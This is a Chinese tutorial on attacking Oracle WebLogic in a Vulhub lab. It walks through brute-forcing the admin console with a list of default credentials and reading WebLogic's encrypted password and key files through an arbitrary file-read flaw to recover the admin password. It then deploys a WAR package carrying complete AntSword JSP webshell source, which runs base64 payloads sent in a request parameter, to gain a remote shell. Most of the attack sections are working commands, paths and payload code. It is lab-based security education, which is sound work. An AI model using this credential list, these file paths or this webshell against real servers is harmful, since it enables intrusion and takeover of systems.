Weblogic - General - 弱口令 任意文件读取漏洞

0x01:漏洞简介

首先需要说明,本文并不是介绍了 Weblogic 某一 CVE 漏洞,而是提供了一种通用的测试思路。

0x0101:弱口令漏洞

弱口令漏洞主要是由于用户安全意识淡薄,为了便于记忆,设置了强度过低的密码,甚至直接使用系统默认密码。这使得攻击者能够轻易地猜测或破解密码,从而引发安全问题。以下是一些常见的 Weblogic 弱口令:

 system:passwordweblogic:weblogicadmin:secruityjoe:passwordmary:passwordsystem:sercuritywlcsystem:wlcsystemweblogic:Oracle@123

0x0102:任意文件读取漏洞

任意文件读取漏洞,顾名思义,就是攻击者可以通过一个漏洞读取你服务器上的任意文件信息。

本章我们讲解的 “任意文件读取” 漏洞,并不是 Weblogic 自身的,而是假设其站点应用中存在这么一个漏洞(可以理解为你发现了一个 “任意文件读取” 漏洞,恰巧,这个站点又有一个 Weblogic 应用)我们的利用方法。

除了常见的尝试去包含 /etc/passwd,这种敏感信息外,针对 Weblogic 我们还可以尝试去读取 Weblogic 存储的密钥和密码密文后再使用工具通过 AES 解密出后台明文密码完成登录。

0x02:环境搭建

环境准备

  • VulHub CSDN配套资源:vulhub-master.zip

  • 靶机环境:CentOS 7 - IP 192.168.0.137 - 安装 VulHub

  • 攻击机环境:Windows 10(安装了常用的安全工具)- IP 192.168.0.1

0x0201:靶机环境搭建

靶机:CentOS 7 服务器配置概览

  • Docker & Docker 管理工具:Docker & Docker-Compose - 用来管理 Vulhub 靶场。

  • Git:用来从 GitHub 下载 Vulhub 靶场。

这里我们采用 Vulhub 来进行漏洞的复现,而 Vulhub 需要依靠 docker 来进行管理,对于 CentOS 7 安装 Docker 可以参考下面这篇文章的前两个部分(Docker & Docker-Compose 的安装):

ARL 灯塔 | CentOS7 — ARL 灯塔搭建流程(Docker)_灯塔arl-CSDN博客文章浏览阅读3.3k次,点赞59次,收藏23次。灯塔,全称:ARL 资产侦察灯塔系统,有着域名资产发现和整理、IP/IP 段资产整理、端口扫描和服务识别、WEB 站点指纹识别、资产分组管理和搜索等等功能块。_灯塔arlhttps://blog.csdn.net/m0_73360524/article/details/143098904https://blog.csdn.net/m0_73360524/article/details/143098904

下面我们主要介绍 CentOS 7 如何通过 Git 来安装 Vulhub 靶场,并通过 Docker 来对靶场进行管理和使用。

1. CentOS 7 安装 Git

首先,输入下面的命令安装 Git:

 sudo yum install -y git

然后输入下面的命令校验 Git 是否安装成功:

 git --version

2. Git 下载 Vulhub 靶场源码

https://github.com/vulhub/vulhubhttps://github.com/vulhub/vulhubhttps://github.com/vulhub/vulhub

输入下面的命令在 /usr/local 文件夹下创建一个 soft 文件夹用以存放安装的软件:

 mkdir /usr/local/soft   # 创建 soft 文件夹cd /usr/local/soft      # 进入 soft 文件夹

然后进入 soft 文件夹,输入下面的命令,克隆 Vulhub 项目到本地:

 git clone https://github.com/vulhub/vulhub.git

(可选)如果你无法直接访问到 GitHub,可以通过前面的 “环境准备” 部分直接下载笔者下载好的 VulHub 资源然后上传到服务器中进行安装(笔者也是这样操作的):

 unzip vulhub-master.zip # 解压操作(可选),直接通过 Git 下载的应该不需要解压吧

通过上面两种方式安装完成后,结果应该长这样:

3. 通过 Docker 启动靶场环境

本次演示的是 Weblogic 的 “弱口令 & 任意文件读取” 漏洞。首先来到 VulHub 的安装路径:

cd /usr/local/soft/vulhub-master # 这是我本机安装的目录,可能与你的不一样哦

然后进入漏洞文件夹:

cd weblogic/weak_password/

接下来的命令都要在靶场根目录下执行,也就是有 docker-compose.yml 文件的这个目录(docker-compose 需要通过读取这个文件来快速配置靶场,如果执行命令的地方没有这个文件,docker-compose 是不起作用的哦)。

输入下面的命令直接启动容器(第一次启动它会拉取镜像,会比较慢,然后有部分小伙伴在拉取镜像的时候会报错,这是因为其默认的镜像源在国外,国内访问不到,换个 Docker 镜像源就行):

docker-compose up -d # -d 代表后台启动,如果去掉就是前台启动了

然后输入下面命令,查看 Docker 开启的虚拟环境的端口:

docker ps

接下来直接访问靶机的 7001 端口就可以访问漏洞环境啦:

http://192.168.0.137:7001/console

问题解决:物理机无法访问靶机内部的靶场地址。

问题描述: 通过靶机中的 Docker 启动的虚拟环境,靶机可以访问,但是物理机无法访问。 问题解决:

输入下面的命令,修改 selinux/config 文件中的内容:

vim /etc/selinux/config

关机重启虚拟机后回到我们的靶场目录下,输入下面的命令查看容器 ID:

docker ps -a

然后输入下面的命令,重新启动虚拟环境即可(不同机器的容器 ID 是不一样的):

docker start <容器ID> # 比如上面我的 ID 是 ab84,那我运行的就是 docker start ab84

等待靶机部署完毕后,就会自动跳到 Weblogic 的后台页面啦:

至此,靶机的环境我们已经配置完毕。

4. (附录)Docker 常用命令

以下是一些经常使用的 docker-compose 命令(需要在有 docker-compose.yml 的文件夹下使用):

docker-compose build # 拉取镜像,创建容器
docker-compose up -d # 启动容器,如果没有容器会自动拉取镜像,创建容器
docker-compose stop  # 停止容器(靶场),容器依旧存在可以通过 docker start <容器ID> 重启启动容器
docker-compose down  # 删除容器(靶场)

以下是一些 docker 常用的命令:

docker version # 查看本机 docker 版本
docker info    # 查看 docker 详细信息
docker ps -a   # 列出所有 docker 容器,包括暂停运行的,可查看容器 ID
docker start <容器 ID> # 启动容器
docker stop  <容器 ID> # 暂停容器
docker exec -it <容器 ID> /bin/bash # 进入容器 Bashexit       # 退出容器 Bash 
docker rm <容器 ID>    # 删除容器
docker image rm <镜像 ID> # 删除镜像

0x0202:攻击机环境搭建

攻击机没有什么特殊的环境搭建,安装了 BurpSuite 和 “中国蚁剑” 就可以了。

0x03:漏洞复现

0x0301:漏洞复现 - 弱口令漏洞

弱口令漏洞比较好复现,首先使用 BurpSuite 自带的浏览器访问靶机上的 Weblogic 后台地址:

http://192.168.0.137:7001/console/login/LoginForm.jsp

然后随意输入一个用户名与密码,点击登录后查看抓包情况:

如上,可以看到,提交的账号密码都是明文形式展示的。将这个包发送到 Intruder 模块,然后设置爆破的位置为 j_usernamej_password,设置攻击模式为 Pitchfork:

然后 Payload 使用漏洞简介中提供的 Weblogic 常见弱口令即可(你也可以自己收集字典来进行爆破,如果你这里不知道怎么设置 Payload,建议还是先学好 BurpSuite 后再来看本文),然后点击 Start Attack 开始攻击:

如上,成功爆破出了后台的账号密码,我们使用 weblogic : Oracle@123 来进行登录看看:

如上,成功进入 Weblogic 后台管理页面。至此,Weblogic 弱口令漏洞利用演示结束(也还没结束,还没拿到目标靶机的控制权呢,继续往后看)。

0x0302:漏洞复现 - 任意文件读取漏洞

在前面的弱口令漏洞中,假设你手头的字典都不管用,但是你发现了目标靶机的一个任意文件读取漏洞,那么你该如何利用该漏洞进行进一步的攻击呢?

那么,假设,你做目录扫描,刚好扫描出来了下面这个目录存在一个任意文件读取漏洞,你还尝试包含了目标的 /etc/passwd

view-source:http://192.168.0.137:7001/hello/file.jsp?path=/etc/passwd
# view-source =>  查看网页源码(这里可以预览你下载的文件)

如上,我们成功拿到了 /etc/passwd 中的信息,接下来你当然可以去继续拿靶机的 /etc/shadow 中的密码内容,然后进行一个离线爆破,爆破出来后再直接使用账号密码进行登录。但爆破这玩意,说不准,人家给你设置个十几二十位的密码,你爆破到猴年马月才能进。

所以,这里我们选择另一种方法,我们尝试包含 Weblogic 的账号信息:

========================== Weblogic 密文(二进制)存放位置
绝对位置:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
相对位置:security/SerializedSystemIni.dat
========================== Weblogic 密钥存放位置
绝对位置:/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
相对位置:config/config.xml

首先是包含 Weblogic 的密文信息,由于是二进制的,所以直接看不太好看,这里我们使用 BP:

view-source:http://192.168.0.137:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

首先选中前面框选部分的内容,然后右击,选择 “copy to file” 选项,设置保存的文件名为 xx.dat 即可:

接下来我们来尝试读取密钥文件,访问下面的地址,然后查看抓包信息:

view-source:http://192.168.0.137:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

如上,通过定位 node-manager-username 节点,成功拿到管理员账号和加密密钥:

账号: weblogic
密钥: {AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

拿到了账号信息,接下来就是解密了,解密工具可以使用下面这款 GitHub 开源的工具(文章中还详细介绍了 Weblogic 的解密方法,非常建议详细阅读):

https://github.com/TideSec/Decrypt_Weblogic_Passwordhttps://github.com/TideSec/Decrypt_Weblogic_Passwordhttps://github.com/TideSec/Decrypt_Weblogic_Password

这里笔者使用的是 “一剑” 大佬写的 weblogic 图形化解密脚本,文件选择的就是我们上面保存的 dat 文件,密钥就是之前获取到的 AES 加密内容:

如上,成功拿到管理员的明文密码 Oracle@123。我们使用 weblogic : Oracle@123 来登录后台:

至此,通过任意文件读取漏洞获取 Weblogic 明文密码登录后台的演示结束(下面就是拿控制权了)。

0x0303:漏洞利用 - Weblogic 后台入侵

通过前面两节,我们已经成功以管理员的身份登录了 Weblogic 的后台了,Weblogic 与 Tomcat 等中间件一样,可以在上面部署应用。利用该特性,我们就可以部署一个后门应用,然后使用工具对其进行连接就能拿到 Shell 了。

首先,创建一个 shell.jsp 文件,文件内容如下,这是一个 AntSword 的 jsp Shell 文件,密码是 passwd:

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

保存该文件后,右击该文件,将该文件打包成 ZIP 文件,然后手动修改后缀为 .war:

然后登录目标的 Weblogic 后台(账号密码之前俺们就拿到了),点击左侧的 “部署”,然后点击 “安装”:

然后点击 “上载文件”,将我们的 shell.war 包上传上去,基本都是无脑下一步:

通过以上操作,我们就可以将后门文件部署上去了,部署了就要访问呀,那么路径怎么判断呢?

很多教程都是叫直接访问 /shell 就行,我们看看,直接访问 /shell 会显示 403 Forbidden:

http://192.168.0.137:7001/shell/

我们分析一下我们制作 war 包的过程,其实就是 jsp 压缩成 zip 后改个名称。那它直接部署 war 包,相当于我们的目录结构长下面这个样子:

/shell.war-- shell.jsp

然后 shell.war 作为压缩包,被 weblogic 识别成了文件夹。而我们关键的后门代码在 shell.jsp 中,所以要想拿到 Shell,我们就要直接访问 war 包内部的 shell.jsp,所以真实的路径应该是:

http://192.168.0.137:7001/shell/shell.jsp

没有报错,就证明这个项目存在,就是最好的回应。然后这个 Shell,是 “中国蚁剑” 的 shell,我们拿中国蚁剑连接一下看看,密码是 passwd:

如上,连接成功。我们使用虚拟终端执行个命令看看:

如上,成功拿到了虚拟环境的控制权。从目标回显的 ip 地址 172 可以看出,这其实相对于我物理机来说是一个内网的 IP。那么至此,weblogic 后台入侵演示完毕。

0x04:参考资料

https://github.com/TideSec/Decrypt_Weblogic_Passwordhttps://github.com/TideSec/Decrypt_Weblogic_Passwordhttps://github.com/TideSec/Decrypt_Weblogic_Password

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/4332.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重温STM32之环境安装

缩写 CMSIS&#xff1a;common microcontroller software interface standard 1&#xff0c;keil mdk安装 链接 Keil Product Downloads 安装好后&#xff0c;开始安装平台软件支持包&#xff08;keil 5后不在默认支持所有的平台软件开发包&#xff0c;需要自行下载&#…

Ceph与RAID在存储中的协同工作过程

本文将结合架构图&#xff0c;详细讲解Ceph与RAID如何在存储环境中相互配合&#xff0c;共同提供高效且可靠的存储服务。 架构概述 从上图中可以看到&#xff0c;Ceph的架构主要分为四个层次&#xff1a; 客户端和服务接口层&#xff1a;这一层包括客户端访问存储应用的接口…

蓝桥杯训练—矩形面积交

文章目录 一、题目二、示例三、解析四、代码 一、题目 平面上有两个矩形&#xff0c;它们的边平行于直角坐标系的X轴或Y轴&#xff0c;对于每个矩形&#xff0c;我们给出它的一对相对顶点的坐标&#xff0c;请你编程写出两个矩形的交的面积 输入格式&#xff1a; 输入包含两行…

GraphRAG: Auto Prompt Tuning 实践

GraphRAG 的 Auto Prompt Tuning 功能是一个强大的工具&#xff0c;用于优化知识图谱的生成过程。以下是对该功能的详细介绍和分析&#xff1a; 自动提示调优&#xff08;Auto Prompt Tuning&#xff09; 1. 概念 GraphRAG 的自动提示调优功能旨在为特定领域的知识图谱生成创…

【设计模式】 单例模式(单例模式哪几种实现,如何保证线程安全,反射破坏单例模式)

单例模式 作用&#xff1a;单例模式的核心是保证一个类只有一个实例&#xff0c;并且提供一个访问实例的全局访问点。 实现方式优缺点饿汉式线程安全&#xff0c;调用效率高 &#xff0c;但是不能延迟加载懒汉式线程安全&#xff0c;调用效率不高&#xff0c;能延迟加载双重检…

IJCAI-2024 | 具身导航的花样Prompts!VLN-MP:利用多模态Prompts增强视觉语言导航能力

作者&#xff1a; Haodong Hong1,2 , Sen Wang1∗ , Zi Huang1 , Qi Wu3 and Jiajun Liu2,1 单位&#xff1a;昆士兰大学&#xff0c;澳大利亚科学与工业研究组织&#xff0c;阿德莱德大学 论文标题&#xff1a;Why Only Text: Empowering Vision-and-Language Navigation wi…

【蓝桥杯选拔赛真题62】C++求和 第十四届蓝桥杯青少年创意编程大赛 算法思维 C++编程选拔赛真题解

目录 C++求和 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、运行结果 五、考点分析 七、推荐资料 C++求和 第十四届蓝桥杯青少年创意编程大赛C++选拔赛真题 一、题目要求 1、编程实现 给定一个正整数N(1<N<10^6),求出N左右相邻两个…

智能创造的幕后推手:AIGC浪潮下看AI训练师如何塑造智能未来

文章目录 一、AIGC时代的算法与模型训练概览二、算法与模型训练的关键环节三、AI训练师的角色与职责四、AI训练师的专业技能与素养五、AIGC算法与模型训练的未来展望《AI训练师手册&#xff1a;算法与模型训练从入门到精通》亮点内容简介作者简介谷建阳 目录 《AI智能化办公&am…

Cloud Foundry,K8S,Mesos Marathon弹性扩缩容特性对比

一、Cloud Foundry 使用Scaling an Application Using App Autoscaler插件&#xff0c;基于资源使用情况触发简单扩缩容 CPU、内存、Http带宽、延时等 监控这些资源的使用情况决定扩缩容策略&#xff1a;实例是增加还是减少 Instance Limits 限制实例数量范围&#xff0c;定义…

ComfyUI 矩阵测试指南:用三种方法,速优项目效果

在ComfyUI中&#xff0c;矩阵测试也叫xyz图表测试&#xff0c;作用是通过控制变量的方式来对Lora模型以及各种参数开展测试&#xff0c;并进行有效区分。其中测试方法有很多种&#xff0c;可以通过借助插件也可以自行搭建工作流实现&#xff0c;下面介绍3种方式&#xff1a; 1…

什么宠物最好养?

在忙碌的生活中&#xff0c;想要拥有一份陪伴&#xff0c;却又担心没时间打理&#xff1f;别怕&#xff0c;今天就来给大家揭秘&#xff0c;什么宠物最好养&#xff0c;让你轻松开启养宠生活&#xff0c;即使再忙也能享受毛孩子带来的快乐&#xff01; 一、仓鼠&#xff1a;萌…

mfc操作json示例

首先下载cJSON,加入项目; 构建工程,如果出现, fatal error C1010: unexpected end of file while looking for precompiled head 在cJSON.c文件的头部加入#include "stdafx.h"; 看情况,可能是加到.h或者是.cpp文件的头部,它如果有包含头文件, #include &…

将IDLE里面python环境pyqt5配置的vscode

首先安装pyqt5全套&#xff1a;pip install pyqt5-tools 打开Vscode&#xff1a; 安装第三方扩展&#xff1a;PYQT Integration 成功配置designer.exe的路径【个人安装pyqt5的执行路径】&#xff0c;便可直接打开UI文件&#xff0c;进行编辑。 配置pyuic,如果下图填写方法使用…

郑州大学2022级大三期末复习总结(数据库,传感器,嵌入式,人工智能,移动终端开发,计算机英语)

本人是郑州大学2022级的一名大三学生&#xff0c;上学期期末苦于没有复习资料硬学了三周&#xff0c;所以想着将脑海里还残留着的各个课程的知识点&#xff0c;考点记录下来。这些资料不能保证你考高分&#xff0c;只能给你提供一些复习的方向和可能高频的知识点。 有些地方的…

基于ESP32+VUE+JAVA+Ngnix的一个小型固件编译系统

一、前提 开发ESP32固件时&#xff0c;使用本地环境输出固件时&#xff0c;存在多个开发多种开发平台的问题。会导致最终输出的固件不统一。更可能因为本地的开发环境差异导致固件无法追溯。 基于上述原因&#xff0c;开发了一个小型的固件编译系统。将该系统部署在一台ubutn…

Spring自定义BeanPostProcessor实现bean的代理Java动态代理知识

上文&#xff1a;https://blog.csdn.net/qq_26437925/article/details/145241149 中大致了解了spring aop的代理的实现&#xff0c;其实就是有个BeanPostProcessor代理了bean对象。顺便复习下java代理相关知识 目录 自定义BeanPostProcessor实现aopJava动态代理知识动态代理的几…

KubeSphere部署安装,接入KubeKey安装的k8s集群

KubeSphere安装接入KubeKey安装的k8s集群 文章目录 KubeSphere安装接入KubeKey安装的k8s集群 一.NFS安装配置1.服务器安装NFS服务2.下载并部署 NFS Subdir External Provisioner1).下载部署文件2).创建 NameSpace3).创建 RBAC 资源4).配置 deployment.yaml5).部署 Storage Clas…

redis性能优化参考——筑梦之路

基准性能测试 redis响应延迟耗时多长判定为慢&#xff1f; 比如机器硬件配置比较差&#xff0c;响应延迟10毫秒&#xff0c;就认为是慢&#xff0c;机器硬件配置比较高&#xff0c;响应延迟0.5毫秒&#xff0c;就认为是慢。这个没有固定的标准&#xff0c;只有了解了你的 Red…

财务RPA就是财务机器人吗?有什么作用

近年来&#xff0c;财务RPA&#xff08;机器人流程自动化&#xff09;逐渐成为财务领域的热门话题。很多人初次听到“财务RPA”时&#xff0c;可能会疑惑&#xff1a;财务RPA是不是财务机器人&#xff1f;它到底能做什么&#xff1f;带着这些问题&#xff0c;我们一起来探讨财务…

RabbitMQ---事务及消息分发

&#xff08;一&#xff09;事务 RabbitMQ是基于AMQP协议实现的&#xff0c;该协议实现了事务机制&#xff0c;所以RabbitMQ也支持事务机制&#xff0c;他的事务允许开发者确保消息的发送和接收时原子性的&#xff0c;要么全部成功&#xff0c;要么全部失败 我们设置事务有三步…